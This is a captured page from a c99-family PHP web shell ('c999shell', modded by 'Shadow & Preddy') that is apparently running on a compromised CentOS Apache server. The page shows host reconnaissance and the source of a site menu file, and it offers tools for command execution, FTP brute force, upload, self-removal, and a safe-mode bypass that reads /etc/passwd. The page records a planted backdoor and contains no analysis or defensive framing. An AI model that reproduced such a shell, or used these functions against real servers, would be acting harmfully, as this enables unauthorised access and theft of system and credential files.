!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/source/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     submenu(2).php (2.66 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
//include_once("../../ums/clsConnection.php");
//include_once("../../ums/clsUmMenu.php");
//include_once("../../ums/clsUmPermission.php");
//include_once("../../ums/clsUmGPermission.php");
//include_once("../../ums/clsUmUserGroup.php");
//include_once("../../ums/clsUmGroup.php");
//$oC = new clsConnection();
//$oGrp = new umgroup($oC->c);
//$oUg = new umusergroup($oC->c);
//$oMmn  = new ummenu($oC->c);
//$oUp = new umpermission($oC->c);
//$oGp = new umgpermission($oC->c);

//include_once("../../ums/clsConnection.php");
//include_once("../../ums/clsUmMenu.php");
//include_once("../../ums/clsUmPermission.php");
//include_once("../../ums/clsUmGPermission.php");
//$oC = new  clsConnection();
//$oUp = new umpermission($oC->c);
//$oGp = new umgpermission($oC->c);

//echo "$oU->MnID, $oU->userID, $oU->GpID<br>";
$oMmn->RSmenuByParentMn($oU->MnID);
if (
$oMmn->GetRowSelected()==0){
    
$oMmn->SearchByKey($oU->MnID);
    
$oMmn->GetRecord();
    
header("Location: $oMmn->MnURL");
    exit();
}else{
    
$oMmn->SearchByKey($oU->MnID);
    
$oMmn->GetRecord();
}
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="550" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend align="center"><font size="3" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><b><?=$oMmn->MnNameT;?></b></font></legend>
            <label><div align="center"><br>
            <table width="740" align="center" cellpadding="0" cellspacing="1" boder="1">
                <tr align="left">
                    <td><font face="Ms Sans Serif" size="2">
                    <?
                    $StrMenu 
"";
                    
ShowMenu($oU->MnID$oU->userID$oU->GpID1$StrMenu);
                    echo 
$StrMenu;
                    
?>
                    </font></td>
                </tr>
            </table>
            </div><br></label>
        </fieldset><br></td>
    </tr>
</table>
<?
/////////////////////////////////////////////////////////////
function ShowMenu($MnID$UsID$GpID$x, &$Stm){
    global 
$oC;
    
$oUp = new umpermission($oC->c);
    
$oGp = new umgpermission($oC->c);    
    
$oMn  = new ummenu($oC->c);
    
    
$oMn->SearchByKey($MnID);
    
$oMn->GetRecord();
    
    
$flg=1;
    
$oUp->SearchByKey($UsID$MnID);
    if (
$oUp->GetRecord()){
        
$flg $oUp->pmX;
    }else{
        
$oGp->SearchByKey($GpID$MnID);
        if (
$oGp->GetRecord()){
            
$flg $oGp->gpX;
        }        
    }
    if (
$flg==$x){
        if (
$oMn->MnLevel>0){
            
$Stm .= str_pad("",10*6*$oMn->MnLevel,  "&nbsp;"STR_PAD_RIGHT)."<img src=\"../picture/ico1.gif\"  align=\"absmiddle\" border=\"0\">";
            
$Stm .= "<a href=\"$oMn->MnURL\">";
            
$Stm .= $oMn->MnNameT."</a><br>\n";        
        }
        
//---------------    
        
$oMn->RSmenuByParentMn($MnID);
    }
    while (
$oMn->GetRecord()){
        
ShowMenu($oMn->MnID$UsID$GpID$flg$Stm);
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0083 ]--